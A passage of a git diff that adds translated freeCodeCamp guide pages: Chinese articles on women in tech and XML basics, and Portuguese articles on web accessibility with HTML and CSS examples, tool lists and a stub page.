+4.  [“什么是无意识的偏见”加州大学旧金山分校 多样性和外联办公室。访问时间：2017年10月15日。](https://diversity.ucsf.edu/resources/unconscious-bias)
+5.  [“无意识的偏见”acas.org.uk访问时间：2017年10月15日。](http://www.acas.org.uk/index.aspx?articleid=5433)
\ No newline at end of file
diff --git a/client/src/guide/chinese/working-in-tech/women-in-tech/index.md b/client/src/guide/chinese/working-in-tech/women-in-tech/index.md
new file mode 100644
index 0000000000..8da563b2ef
--- /dev/null
+++ b/client/src/guide/chinese/working-in-tech/women-in-tech/index.md
@@ -0,0 +1,26 @@
+---
+title: Women in Tech
+localeTitle: 科技女性
+---
+## 女性在科技
+
+来自一篇关于[“最新技术女性统计数据”](https://www.themuse.com/advice/the-latest-stats-on-women-in-tech)的文章，
+
+> “我们都知道，对于技术领域的女性来说，性别差距很大。
+> 
+> 虽然我们占据了工作场所和社交媒体领域的大部分，但我们只占技术世界的一小部分。
+> 
+> 而这反映在你看到的一些统计数据中。例如，根据Level Play Field Institute的2011年报告，'82％的创业公司中的男性认为他们的公司花费了“适当的时间”来解决多样性问题，而近40％的女性认为没有足够的时间投入“
+
+![Alt text](https://www.womenwhotech.com/wp-content/uploads/infographic_700_FINAL.png "科技女性")
+
+虽然女性在科技界的代表性仍然不足，但这并不意味着我们在科技界没有任何影响。
+
+在谷歌在奥斯汀举办的女性科技综合活动中，在这些活动中发言的女性是副总裁（VP）和来自科技行业盈利公司的高级管理职位。并非所有人都开始在科技界开始他们的职业生涯，许多人开始担任秘书和其他通常面向女性的角色。他们努力工作并冒险去到现在的位置。似乎从他们所有人那里听到的一条建议是，为了你的成功，你必须承担风险。
+
+在此次活动中发言的Google副总裁向我们提出了一些建议：我们应该抓住任何机会，并承担风险申请我们不合格的工作。最糟糕的情况是你会被拒绝或者你不会接受采访。男性获得技术职位不是因为他们比女性更有经验或更好，而是因为她们适用于他们通常不具备资格的职位，而女性只申请他们认为合格的职位。 你能做的最糟糕的事情就是如果你想要冒一些风险并实现不可能的事情，就卖空自己。
+
+### 更多信息：
+
+*   [为什么科技界的女性人数如此之少？ Google备忘录背后的真相](https://www.theguardian.com/lifeandstyle/2017/aug/08/why-are-there-so-few-women-in-tech-the-truth-behind-the-google-memo)
+*   [艾伦·鲍：科技女性真的有什么变化吗？](https://www.nytimes.com/2017/09/16/opinion/sunday/ellen-pao-sexism-tech.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/xml/index.md b/client/src/guide/chinese/xml/index.md
new file mode 100644
index 0000000000..06fd90a61e
--- /dev/null
+++ b/client/src/guide/chinese/xml/index.md
@@ -0,0 +1,64 @@
+---
+title: Extensible Markup Language (XML)
+localeTitle: 可扩展标记语言（XML）
+---
+## 可扩展标记语言（XML）
+
+XML代表可扩展标记语言。它是可扩展的，因为它不使用预定义的标记集来识别结构组件，而是提供了一种定义这种标记集的机制。该语言的主要目的是共享数据。与HTML不同，在XML中没有预定义的标签和标签集指定含义，而不是表示。
+
+\## XML的语法 XML语法是指确定如何编写XML应用程序的规则。 XML语法非常简单，这使得XML非常容易学习。 XML文档必须包含一个根元素，该元素是所有其他元素的父元素：
+```
+<root> 
+  <child> 
+    <subchild>.....</subchild> 
+  </child> 
+ </root> 
+```
+
+#### XML必须具有根元素
+
+上面的语法显示了创建XML代码时必需的根元素。这可以通过以下示例显示： -
+```
+<?xml version="1.0" encoding="UTF-8"?> 
+ <note> 
+  <to>Tove</to> 
+  <from>Jani</from> 
+  <heading>Reminder</heading> 
+  <body>Don't forget me this weekend!</body> 
+ </note> 
+```
+
+在这个例子中，'note'是根元素。
+
+*   使用XML的优点：
+    
+    *   简单性 - XML文档是普通的文本文件，可以使用任何文本编辑器创建和编辑。
+    *   供应商独立性
+    *   平台独立性
+    *   广泛的基础设施
+*   使用XML的缺点：
+    
+*   冗长而繁琐的语法
+    
+*   存储效率极低
+    
+
+在计算机语言中，可扩展标记语言（XML）定义了一组规则或一组规则，这些规则稍后用于以机器和人类可读的格式编码文档。
+
+XML和HTML之间存在一个主要因素，它们使它们彼此不同。 XML旨在传递特定信息，仅关注该信息。 HTML专注于显示特定信息，如设计和所有这些信息。
+
+此外，XML不使用HTML使用的预定义标记。它使用用户定义的标签。
+
+以下是XML引起的简单性：
+
+1.  它简化了数据共享
+2.  它简化了数据传输
+3.  它简化了平台变更
+4.  它简化了数据可用性
+
+它的主要成就是它最早于1998年2月成为W3C推荐标准。
+
+### 更多信息
+
+*   [XML简介](https://developer.mozilla.org/en-US/docs/XML_introduction)
+*   [XML简介](https://www.w3schools.com/xml/xml_whatis.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/accessibility/accessibility-basics/index.md b/client/src/guide/portuguese/accessibility/accessibility-basics/index.md
new file mode 100644
index 0000000000..23130bf734
--- /dev/null
+++ b/client/src/guide/portuguese/accessibility/accessibility-basics/index.md
@@ -0,0 +1,198 @@
+---
+title: Accessibility Basics
+localeTitle: Noções básicas de acessibilidade
+---
+> "As Artes das Trevas são muitas, variadas, em constante mudança e eternas. Lutar contra elas é como lutar contra um monstro de muitas cabeças, que, cada vez que um pescoço é rompido, brota uma cabeça ainda mais feroz e mais inteligente do que antes. Você está lutando contra isso. que é unfixed, mutating, indestrutível ".
+> 
+> \- Professor Severo Snape, Série Harry Potter
+
+O papel da acessibilidade no desenvolvimento é essencialmente entender a perspectiva e as necessidades do usuário e saber que a Web e os aplicativos são uma solução para pessoas com deficiências.
+
+Hoje em dia, mais e mais novas tecnologias são inventadas para tornar a vida dos desenvolvedores, assim como dos usuários, mais fácil. Até que ponto isso é uma coisa boa é um debate para outro momento, por enquanto é o suficiente para dizer que a caixa de ferramentas de um desenvolvedor, especialmente um desenvolvedor web, está tão em constante mudança quanto as chamadas "artes das trevas" estão de acordo com nosso amigo. Snape
+
+Uma ferramenta nessa caixa de ferramentas deve ser acessibilidade. É uma ferramenta que deve idealmente ser usada em um dos primeiros passos de escrever qualquer forma de conteúdo da web. No entanto, esta ferramenta muitas vezes não é tão bem apresentada na caixa de ferramentas da maioria dos desenvolvedores. Isso pode ser devido a um simples caso de não saber que existe até casos extremos, como não se importar com isso.
+
+Na minha vida como usuário e, mais tarde, como desenvolvedor, que se beneficia da acessibilidade em qualquer forma de conteúdo, eu vi os dois lados desse espectro. Se você estiver lendo este artigo, acredito que esteja em uma das seguintes categorias:
+
+*   Você é um desenvolvedor web iniciante e gostaria de saber mais sobre acessibilidade
+*   Você é um desenvolvedor web experiente e perdeu o seu caminho (mais sobre isso mais tarde)
+*   Você sente que existe uma obrigação legal do trabalho e precisa aprender mais sobre isso.
+
+Se você ficar fora dessas categorias bastante amplas, por favor me avise. Eu sempre gosto de ouvir as pessoas que lêem o que eu escrevo. A implementação da acessibilidade afeta toda a equipe, desde as cores escolhidas pelo designer, a cópia escrita pelo redator e até você, o desenvolvedor.
+
+## Então, o que é acessibilidade de qualquer maneira?
+
+Acessibilidade em si é um pouco um termo enganador, às vezes, especialmente se o inglês é sua segunda língua. Às vezes é referido como design inclusivo.
+
+Se o seu site estiver na Internet, acessível por qualquer pessoa com um navegador da Web, em certo sentido, esse site estará acessível a todos com um navegador da web.
+
+Mas todo o conteúdo do seu website é realmente legível, utilizável e compreensível para todos? Não existem limites que impedem certas pessoas de "acessar" todas as informações que você está expondo?
+
+Você poderia se fazer perguntas como as seguintes:
+
+*   Se você adicionar informações que só estão contidas em um arquivo de áudio, uma pessoa surda pode obter essa informação?
+*   Se você denotar uma parte importante do seu site com uma determinada cor, uma pessoa daltônica saberá disso?
+*   Se você adicionar imagens em seu site que transmitam informações importantes, como uma pessoa cega ou com deficiência visual saberá?
+*   Se você quiser navegar pelo aplicativo com teclado ou boca-de-pau, será possível e previsível?
+*   Seu aplicativo assume a orientação do dispositivo e se o usuário não puder alterá-lo fisicamente?
+*   Há algum perdão dos aspectos cronometrados de sua inscrição para alguém que pode precisar de mais tempo para preencher um formulário?
+*   Seu aplicativo ainda funciona (aprimoramento progressivo) supondo que o JavaScript não carrega no tempo?
+*   Você pode até mesmo dizer que, se o seu site é muito pesado, alguém em uma conexão lenta ou irregular poderá ler seu conteúdo?
+
+É aqui que entra em ação a acessibilidade. A acessibilidade envolve basicamente tornar seu conteúdo tão amigável, tão fácil de acessar quanto possível para a maior quantidade de pessoas. Isso inclui pessoas que são surdas, com baixa visão, cegas, disléxicas, mudas, com conexões lentas, daltônicas, que sofrem de epilepsia, fadiga mental, idade, limitações físicas, etc.
+
+## Por que implementar acessibilidade?
+
+Você pode achar que a acessibilidade não se aplica a você ou aos seus usuários, então por que implementá-la? O que um cego faria com uma ferramenta de edição de fotos?
+
+A verdade é que você está certo até certo ponto. Se você fez uma pesquisa meticulosa com o usuário e excluiu qualquer chance de um determinado grupo de pessoas visitar seu site, a prioridade para atender a esse grupo de pessoas diminui um pouco.
+
+No entanto, fazer esta pesquisa é fundamental na defesa de tal afirmação. Você sabia que havia [jogadores cegos?](http://audiogames.net) e até [fotógrafos cegos?](http://peteeckert.com/) . Talvez você soubesse que [músicos podem ser surdos](http://mentalfloss.com/article/25750/roll-over-beethoven-6-modern-deaf-musicians) ?
+
+Se você fez, bom para você. Se não, acho que isso aumenta ainda mais meu ponto de vista.
+
+A imagem fica ainda mais complicada quando olhamos para a legislação que, na verdade, força você a tornar certos sites e aplicativos da Web acessíveis. Um bom exemplo é a [seção 508](http://jimthatcher.com/webcourse1.htm) baseada nos EUA. Neste momento, esta lei refere-se principalmente a organizações governamentais, sites do setor público, etc. No entanto, as leis mudam.
+
+No ano passado, sites de companhias aéreas foram incluídos nesta lista, o que significa que, mesmo aqui na Europa, os desenvolvedores de sites de companhias aéreas se esforçavam para tornar seu conteúdo acessível. Não fazê-lo pode levar a sua empresa a uma multa de dezenas de milhares de dólares para cada dia em que o problema não é resolvido.
+
+Há variações nessa legislação em todo o mundo, algumas mais severas e abrangentes do que outras. Não saber sobre esse fato não faz com que a ação desapareça, infelizmente.
+
+## Ok, a acessibilidade é um grande negócio. Agora, como vamos implementá-lo?
+
+Essa pergunta, infelizmente, é mais difícil de responder do que parece. A citação de Harry Potter no topo está lá por uma razão, e não é meu ser um ávido leitor de fantasia.
+
+Como afirmei acima, a acessibilidade é importante para um grande grupo de pessoas diferentes, cada uma com suas próprias necessidades. Fazer o seu site trabalhar para literalmente todo mundo é uma grande tarefa em andamento.
+
+Para trazer um pouco de método para a loucura, as Diretrizes de Acessibilidade ao Conteúdo da Web ou [WCAG](https://www.wuhcag.com/web-content-accessibility-guidelines/) foram compostas. Este documento contém vários critérios que você pode usar para verificar seu site. Por enquanto, vou cobrir alguns dos princípios mais importantes aqui. Eu vou apontar você para os frutos mais baixos, por assim dizer. Nos artigos subseqüentes, discutirei técnicas mais avançadas, como o \[WAI-ARIA\], que é importante para aplicativos baseados em JavaScript.
+
+### Fale como os nativos
+
+A especificação HTML é um documento que descreve como o idioma deve ser usado para criar sites. Tecnologias assistivas, como leitores de tela, programas de reconhecimento de fala, etc., estão cientes deste documento. Os desenvolvedores da Web, no entanto, muitas vezes não são, ou pelo menos não são suficientes, e acham que algo assim está correto:
+
+```html
+
+    <div class="awesome-button"></div> 
+ 
+    <span><strong>Huge heading I will style with CSS later</strong></span> 
+ 
+    <span class="clickable-with-JavaScript">English</span> 
+```
+
+Adivinha? Todos esses três elementos quebram vários critérios de WCAG e, portanto, não são acessíveis.
+
+O primeiro elemento quebra o chamado "nome, papel, valor" critério, que afirma que todos os elementos em uma página da Web devem expor seu nome, sua função (como botão) e seu valor (como o conteúdo de um campo de edição) para tecnologias assistivas. Este div realmente não fornece nenhum dos três, tornando-o invisível para os leitores de tela.
+
+O segundo elemento parece um título visualmente depois de estilizá-lo com CSS, mas semanticamente é um span. Portanto, tecnologias assistivas não saberão que é um título. Um leitor de tela lerá isso como texto normal, em vez de um título. Os leitores de tela geralmente têm uma tecla de atalho para pular rapidamente para o cabeçalho mais próximo, esse cabeçalho não será incluído nesse escopo.
+
+O terceiro elemento poderia, por exemplo, ser um elemento no qual um usuário pode clicar para alterar o idioma do site. Talvez um menu animado de idiomas seja expandido quando for clicado. No entanto, isso também é um intervalo e não expõe sua função (link ou botão), fazendo com que as tecnologias assistivas pensem que essa é apenas a palavra inglês com algum estilo.
+
+Spans e divs são não-elementos. Eles são destinados a conter outros elementos, não para serem elementos em si. Você pode corrigir isso de duas maneiras:
+
+*   Você pode adicionar manualmente atributos ARIA aos elementos acima. Este é um tópico avançado e fora do escopo deste artigo.
+*   Ou você pode simplesmente fazer isso:
+
+```html
+
+    <button>This is a button</button> 
+ 
+    <h2>Here's a heading level two</h2> 
+ 
+    <a href="JavascriptThing">English</a> 
+```
+
+Estrondo. De repente, todos esses elementos agora estão perfeitamente acessíveis, apenas usando HTML nativo. HTML do jeito que deveria ser usado, em outras palavras.
+
+### Uma fundação não pode ficar sem estrutura
+
+Um pouco antes, eu toquei nas teclas de atalho de um leitor de tela para pular de posição para posição. Na verdade, existem muitas teclas de atalho como essa para pular rapidamente para a tabela mais próxima, campo de formulário, link etc. Certificar-se de que esses títulos estejam realmente em lugares lógicos é uma boa prática e realmente diminui os níveis de estresse dos usuários de tecnologia assistiva, o que é bom se você quiser que os visitantes voltem ao seu site.
+
+Lembre-se também que os títulos são hierárquicos. Se você usa um h2, certifique-se de que o h3 que o segue realmente tenha algo a ver com esse h2. Não coloque um h3 para detalhes de contato em seu h2 para postagens recentes no blog. Uma boa analogia aqui é um livro com capítulos, que possuem subseções. Você não colocaria uma seção sobre assar biscoitos no meio de um capítulo sobre a preparação de vegetais ... ou ... você não iria ... certo?
+
+### Qual a alternativa?
+
+Imagens em um site são ótimas. Eles adicionam uma nova camada ao seu conteúdo, podem realmente tornar a experiência que os visitantes do seu site têm de maneira mais imersiva e, em geral, ficam bem em meio a todo esse texto. Uma imagem pode dizer mais que mil palavras, certo?
+
+Certamente. Isto é, se você puder vê-los. Na especificação HTML5, um atributo img deve sempre ter um atributo alt. Este atributo é uma alternativa para a imagem no caso de não poder ser visto. Isso seria verdadeiro para visitantes cegos do seu site, mas também quando a imagem não puder ser carregada por algum motivo. Portanto, não adicionar uma tag alt a um atributo img não apenas quebra a acessibilidade, mas também vai contra a especificação HTML5.
+
+Eu imploro a qualquer desenvolvedor web que se pegue fazendo isso para comer o chapéu de seu programador e trabalhar no Windows 95 exclusivamente por uma semana. Depois que o tempo acabar, escreva um ensaio sobre o que você aprendeu com essa provação para que eu possa rir durante o meu café da tarde.
+
+Agora, há uma ressalva aqui. Alt-atributos são obrigatórios de acordo com as especificações HTML5, mas não é obrigatório preenchê-los. `<img src="awesome-image.jpg", alt="">` é, portanto, código HTML5 legal.
+
+Você deve, portanto, preencher tags-alt para todas as imagens? Depende da imagem, na verdade. Para imagens de fundo, a resposta é geralmente não, mas você deve usar CSS para aqueles de qualquer maneira.
+
+Para imagens puramente decorativas que não têm nenhuma informação, você é basicamente livre para escolher. Ou colocar algo útil e descritivo ou nada.
+
+Para imagens que contenham informações, como uma brochura, um mapa, um gráfico, etc., a não adição de texto alternativo substitui as WCAG, a menos que você forneça uma alternativa textual. Isso geralmente é um atributo alt, mas também pode ser um bloco de texto logo abaixo ou ao lado da imagem.
+
+Para imagens de texto, o texto pode ser incluído no atributo alt ou oferecido de alguma maneira alternativa. O problema é que adicionar a alternativa textual na mesma página basicamente faria com que o mesmo conteúdo fosse exibido duas vezes para as pessoas que podem ver a imagem, e é por isso que o atributo alt é melhor nesse caso.
+
+O texto deve fornecer o contexto e a informação que é uma alternativa para ver a imagem. Simplesmente não basta escrever "imagem de balões de ar quente" - por que as imagens de balão estão lá? Se a imagem é estilizada ou transmite um significado emocional, isso pode ser incluído.
+
+### Eu não posso ler seu rabisco, filho
+
+Mesmo as pessoas que não usam óculos e não têm nenhum problema com a sua visão beneficiam-se de uma fonte de fácil leitura e contraste adequado. Tenho certeza de que você se arrependeria se tivesse que preencher um formulário em que letras amarelo-claro e sem esperança fossem colocadas em um fundo branco. Para as pessoas que a visão não é tão boa, como a sua avó, por exemplo, isso se torna irremediavelmente pior.
+
+O WCAG tem taxas de contraste para letras menores e maiores e há muitas ferramentas para verificar se as taxas de contraste são suficientemente fortes. As informações e ferramentas estão lá, vá usá-lo.
+
+Um bom local para começar a verificar o contraste das cores é usando o verificador de contraste de cores [WebAIM](https://webaim.org/resources/contrastchecker/) .
+
+### O que é que este botão faz?
+
+Enquanto estamos no tópico de formulários, vamos rapidamente olhar para a tag de `input` . Esse carinha é meio importante.
+
+Quando você coloca alguns campos de entrada em uma página da Web, pode usar rótulos para… bem… rotulá-los. No entanto, colocá-los ao lado do outro não é suficiente. O atributo que você deseja é o atributo for, que recebe o ID de um campo de entrada subsequente. Dessa forma, as tecnologias assistivas sabem qual rótulo associar a qual campo de formulário.
+
+Eu acho que a melhor maneira de ilustrar isso é dando um exemplo:
+
+```html
+
+    <label for='username'> 
+ 
+    <input type='text' id='username'> 
+```
+
+Isso fará com que, por exemplo, um leitor de tela diga "nome de usuário, campo de edição de texto", em vez de apenas informar "campo de edição de texto" e exigir que o usuário procure um rótulo. Isso também ajuda pessoas que usam software de reconhecimento de fala.
+
+### Essa é uma tarefa difícil
+
+Vamos dar uma pequena pausa. Eu quero que você vá olhar para uma página da web muito bem projetada. Pode ser qualquer página. Vá em frente, vou esperar.
+
+Costas? OK ótimo. Agora, olhe a página novamente, mas desabilite todos os CSS. Ainda parece bom? O conteúdo da página ainda está em ordem lógica? Se assim for, ótimo. Você encontrou uma página com estrutura HTML decente. (Uma maneira de visualizar facilmente uma página sem CSS é carregar o site na [Ferramenta de Avaliação de Acessibilidade na Web WAVE](http://wave.webaim.org) do WebAIM. Em seguida, clique na guia "Sem Estilos" para vê-la sem estilos.)
+
+Se não, ótimo. Agora você tem uma impressão do que eu tenho que lidar diariamente quando me deparo com um site mal estruturado.
+
+Divulgação completa: Eu tenho a tendência de amaldiçoar quando isso acontece. Alto. Com vigor.
+
+Por quê isso é tão importante? Eu vou explicar.
+
+_alerta de spoiler!_ Para aqueles que apenas abordaram o currículo HTML / CSS até agora, vamos pular um pouco.
+
+Leitores de tela e outras tecnologias assistivas renderizam uma representação de cima para baixo de uma página da Web com base no DOM do seu site. Todo o CSS posicional é ignorado nesta versão da página da web.
+
+DOM significa Document Object Model e é a estrutura em árvore dos elementos HTML do seu site. Todos os elementos HTML são nós que se interligam hierarquicamente com base nas tags HTML usadas e no JavaScript. Os leitores de tela usam essa árvore DOM para trabalhar com seu código HTML.
+
+Se você colocar seu elemento na parte superior de seu elemento, ele será exibido no topo da sua árvore DOM também. portanto, o leitor de tela também o colocará no topo, mesmo se você movê-lo para a parte inferior da página usando CSS.
+
+Então, uma dica final que eu quero dar a você é prestar atenção na ordem do seu HTML, não apenas no seu site final com CSS adicionado. Será que isso faz sentido sem o CSS? Ótimo!
+
+Ah, isso não acontece? Nesse caso, você pode um dia ouvir uma maldição abafada em uma brisa fria enquanto caminhava para fora. Isso provavelmente será eu, visitando seu site.
+
+Nesse caso, eu realmente só tenho duas palavras para você. Muitas vezes eu ouvi essas mesmas duas palavras dirigidas a mim quando eu escrevi um código ruim e é com grande prazer que eu lhe digo: "vá consertar!"
+
+### Contraste de cor
+
+O contraste da cor deve ser no mínimo 4.5: 1 para texto normal e 3: 1 para texto grande. “Texto grande” é definido como texto com pelo menos 18 pontos (24px) ou 14 pontos (18.66px) e negrito. [Verificador de Contraste](https://webaim.org/resources/contrastchecker/)
+
+## Conclusão
+
+Eu lhe falei sobre acessibilidade, o que é, o que não é e porque é importante.
+
+Eu também dei a você o básico, o básico, de como acertar a acessibilidade. Esses princípios básicos são, no entanto, muito poderosos e podem tornar sua vida muito mais fácil ao codificar a acessibilidade.
+
+Se falamos em termos da FCC, você deve ter isso em mente enquanto faz o currículo de HTML / CSS, bem como o currículo de JavaScript.  
+Nos artigos subseqüentes, abordarei vários tópicos mais importantes. Várias perguntas que responderei são:
+
+*   Adicionar cabeçalhos estruturados parece uma boa ideia, mas eles não se encaixam no meu design. O que eu faço?
+*   Existe uma maneira para eu escrever conteúdo apenas leitores de tela e outras tecnologias assistivas vêem?
+*   Como posso tornar os componentes JavaScript personalizados acessíveis?
+*   Quais ferramentas existem, além de testes de usuário inclusivos, que podem ser usadas para desenvolver a experiência mais robusta e acessível para o maior grupo de usuários?
\ No newline at end of file
diff --git a/client/src/guide/portuguese/accessibility/accessibility-examples/index.md b/client/src/guide/portuguese/accessibility/accessibility-examples/index.md
new file mode 100644
index 0000000000..fec98c125c
--- /dev/null
+++ b/client/src/guide/portuguese/accessibility/accessibility-examples/index.md
@@ -0,0 +1,66 @@
+---
+title: Accessibility Examples
+localeTitle: Exemplos de acessibilidade
+---
+## Exemplos de acessibilidade em aplicativos práticos
+
+Estou escrevendo este breve guia para fornecer exemplos práticos de como implementar acessibilidade em sites. A acessibilidade não foi enfatizada durante a escola nem está sendo enfatizada o suficiente no mundo real do desenvolvimento web. Espero que este artigo, juntamente com muitos outros, incentive os desenvolvedores a criar sites acessíveis a partir de agora. Sempre me ajudou a obter exemplos práticos de como fazer as coisas. Portanto, este guia se concentrará nos exemplos do mundo real que encontrei no meu dia a dia como desenvolvedor da Web.
+
+### Ignorando a Navegação
+
+Para que os usuários não com visão tenham uma experiência agradável em seu website, eles precisam acessar o conteúdo de maneira rápida e eficiente. Se você nunca experimentou um site através de um leitor de tela, eu recomendo fazê-lo. É a melhor maneira de testar a facilidade com que um site pode ser navegado para usuários sem visão. O NVDA é um aplicativo de leitura de tela muito bom que é fornecido gratuitamente. Mas se você usar o leitor de tela e achar útil considerar fazer uma doação para a equipe de desenvolvimento. O leitor de tela pode ser baixado do [nvaccess.org](https://www.nvaccess.org/download/) .
+
+Para permitir que usuários sem visão pule para o conteúdo principal de um site e evite navegar por todos os links de navegação principais:
+
+1.  Crie um "link de navegação de salto" que fica diretamente abaixo da tag de `body` abertura.
+
+```html
+
+<a tabindex="0" class="skip-link" href="#main-content">Skip to Main Content</a> 
+```
+
+`tabindex="0"` é adicionado para garantir que o link seja focado no teclado em todos os navegadores. Mais informações sobre a acessibilidade do teclado podem ser encontradas em [webaim.org](https://webaim.org/techniques/keyboard/tabindex) .
+
+2.  O link "ignorar navegação" precisa estar associado à tag html principal em seu documento da página da Web usando a tag de ID.
+
+```html
+
+<main id="main-content"> 
+  ...page content 
+ </main> 
+```
+
+3.  Ocultar o link "ignorar navegação" por padrão. Isso garante que o link fique visível apenas para os usuários com visão quando o link estiver em foco.
+
+*   Crie uma classe para o link que pode ser estilizado com CSS. No meu exemplo, adicionei o `skip-link` da classe.
+
+```css
+.skip-link { 
+  position: absolute; 
+  width: 1px; 
+  height: 1px; 
+  padding: 0; 
+  overflow: hidden; 
+  clip: rect(0, 0, 0, 0); 
+  white-space: nowrap; 
+  -webkit-clip-path: inset(50%); 
+  clip-path: inset(50%); 
+  border: 0; 
+ } 
+ .skip-link:active, .skip-link:focus { 
+  position: static; 
+  width: auto; 
+  height: auto; 
+  overflow: visible; 
+  clip: auto; 
+  white-space: normal; 
+  -webkit-clip-path: none; 
+  clip-path: none; 
+ } 
+```
+
+Esses estilos CSS ocultam o link por padrão e exibem apenas o link quando ele está recebendo o foco do teclado. Para mais informações, visite o [a11yproject](http://a11yproject.com/posts/how-to-hide-content) e esta [postagem do blog](http://hugogiraudel.com/2016/10/13/css-hide-and-seek/) .
+
+### Tabelas Acessíveis
+
+### Guias Acessíveis
\ No newline at end of file
diff --git a/client/src/guide/portuguese/accessibility/accessibility-tools-for-web-developers/index.md b/client/src/guide/portuguese/accessibility/accessibility-tools-for-web-developers/index.md
new file mode 100644
index 0000000000..bb14aa3fcd
--- /dev/null
+++ b/client/src/guide/portuguese/accessibility/accessibility-tools-for-web-developers/index.md
@@ -0,0 +1,42 @@
+---
+title: Accessibility Tools for Web Developers
+localeTitle: Ferramentas de acessibilidade para desenvolvedores da Web
+---
+## Ferramentas de acessibilidade para desenvolvedores da Web
+
+Existem muitas ferramentas e recursos on-line que podem ajudá-lo a garantir que seu aplicativo da Web atenda a todos os requisitos de acessibilidade.
+
+1.  **[Ferramentas para desenvolvedores de acessibilidade](https://chrome.google.com/webstore/detail/accessibility-developer-t/fpkknkljclfencbdbgkenhalefipecmb?hl=en)**
+    
+    Esta é uma extensão do Google Chrome que adicionará um novo painel da barra lateral Acessibilidade na guia Elementos às ferramentas do desenvolvedor do Google Chrome. Esse novo painel exibirá todas as propriedades relevantes para o aspecto de acessibilidade do elemento que você está inspecionando no momento. Essa extensão também adiciona uma auditoria de acessibilidade que pode ser usada para verificar se a página da Web atual viola qualquer regra de acessibilidade.
+    
+2.  **[Machado](https://chrome.google.com/webstore/detail/axe/lhdoppojpmngadmnindnejefpokejbdd?hl=en-US)**
+    
+    Esta extensão do Google Chrome pode encontrar defeitos de acessibilidade em sua página da web.
+    
+3.  **[Gerador de paletes de cores seguras](http://colorsafe.co)**
+    
+    Este site pode ajudá-lo a criar uma paleta de cores baseada nas diretrizes do WCAG para relações de contraste de texto e plano de fundo.
+    
+4.  **[Verifique minhas cores](http://www.checkmycolours.com)**
+    
+    Um site para verificar se o site existente atende aos requisitos de acessibilidade para cores e contraste.
+    
+5.  **[Oracle colorido](http://colororacle.org)**
+    
+    Um aplicativo que simula daltonismo. Está disponível no Windows, Mac e Linux.
+    
+6.  **[tota11y](http://khan.github.io/tota11y/)**
+    
+    Um kit de ferramentas de visualização de acessibilidade que verifica o desempenho do seu site com tecnologias de assistência.
+    
+7.  **[AccessLint](https://www.accesslint.com)**
+    
+    Um aplicativo do GitHub que verifica seus pedidos de pull para problemas de acessibilidade.
+    
+
+* * *
+
+#### Mais Reources
+
+Você pode encontrar muitas outras ferramentas para web design acessível [nesta lista](http://www.d.umn.edu/itss/training/online/webdesign/tools.html) feita pela Universidade de Minnesota Duluth.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/accessibility/automated-testing/index.md b/client/src/guide/portuguese/accessibility/automated-testing/index.md
new file mode 100644
index 0000000000..9dc70395ef
--- /dev/null
+++ b/client/src/guide/portuguese/accessibility/automated-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Automated Accessibility Testing Tools
+localeTitle: Ferramentas de teste de acessibilidade automatizadas
+---
+## Teste de Acessibilidade Automatizado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/accessibility/automated-testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/accessibility/index.md b/client/src/guide/portuguese/accessibility/index.md
new file mode 100644
index 0000000000..0100be2c9c
--- /dev/null
+++ b/client/src/guide/portuguese/accessibility/index.md
@@ -0,0 +1,27 @@
+---
+title: Accessibility
+localeTitle: Acessibilidade
+---
+## Acessibilidade
+
+**Acessibilidade na Web significa que pessoas com deficiências podem usar a Web** .
+
+Mais especificamente, a acessibilidade na Web significa que as pessoas com deficiência podem perceber, entender, navegar e interagir com a Web, e que podem contribuir para a Web. Acessibilidade na Web também beneficia outros, incluindo [pessoas mais velhas](https://www.w3.org/WAI/bcase/soc.html#of) com habilidades de mudança devido ao envelhecimento.
+
+A acessibilidade da Web abrange todas as deficiências que afetam o acesso à Web, incluindo recursos visuais, auditivos, físicos, de fala, cognitivos e neurológicos. deficiências. O documento [Como as pessoas com deficiências usam a Web](http://www.w3.org/WAI/intro/people-use-web/Overview.html) descreve como diferentes As deficiências afetam o uso da Web e incluem cenários de pessoas com deficiências usando a Web.
+
+A acessibilidade na Web também **beneficia** pessoas _sem_ deficiências. Por exemplo, um princípio fundamental da acessibilidade da Web é projetar sites e software que são flexíveis para atender às diferentes necessidades, preferências e situações dos usuários. Essa **flexibilidade** também beneficia pessoas _sem_ deficiências em situações, como pessoas que usam uma conexão lenta com a Internet, pessoas com "deficiências temporárias", como um braço quebrado, e pessoas com habilidades de mudança devido ao envelhecimento. O documento [Desenvolvimento de um business case de acessibilidade da Web para sua organização](https://www.w3.org/WAI/bcase/Overview) descreve benefícios diferentes da acessibilidade da Web, incluindo **benefícios para as organizações** .
+
+A acessibilidade na Web também deve incluir as pessoas que não têm acesso à Internet ou a computadores.
+
+Uma diretriz proeminente para o desenvolvimento web foi introduzida pelo [World Wide Web Consortium (W3C)](https://www.w3.org/) , a [Iniciativa de Acessibilidade](https://www.w3.org/WAI/) à [Web.](https://www.w3.org/WAI/) da qual obtemos o [WAI-ARIA](https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics) , o Pacote de Aplicativos Acessíveis para Internet Rica. Onde o WAI aborda a semântica do html para mais facilmente nagivar a Árvore do DOM, o ARIA tenta fazer aplicativos da web, especialmente aqueles desenvolvidos com javascript e AJAX, mais acessível.
+
+O uso de imagens e gráficos em sites pode diminuir a acessibilidade para pessoas com deficiência visual. No entanto, isso não significa que os designers devam evitar usando esses elementos visuais. Quando usados ​​corretamente, os elementos visuais podem transmitir a aparência e a sensação apropriadas aos usuários sem deficiências e devem ser usados para fazer isso. Para usar esses elementos adequadamente, os web designers devem usar texto alternativo para comunicar a mensagem desses elementos àqueles que não podem ver eles. O texto alternativo deve ser curto e direto - geralmente [não mais que cinco a 15 palavras](https://www.thoughtco.com/writing-great-alt-text-3466185) . Se um O gráfico é usado para transmitir informações que excedem as limitações do texto alternativo; essas informações também devem existir como texto da Web para serem lidas pela tela. leitores. [Saiba mais sobre o texto alternativo](https://webaim.org/techniques/alttext/) .
+
+Assim como o texto Alt é para pessoas com deficiência visual, as transcrições do áudio são para pessoas que não podem ouvir. Fornecer um documento escrito ou uma transcrição do que está sendo falado acessível a pessoas com dificuldades de audição.
+
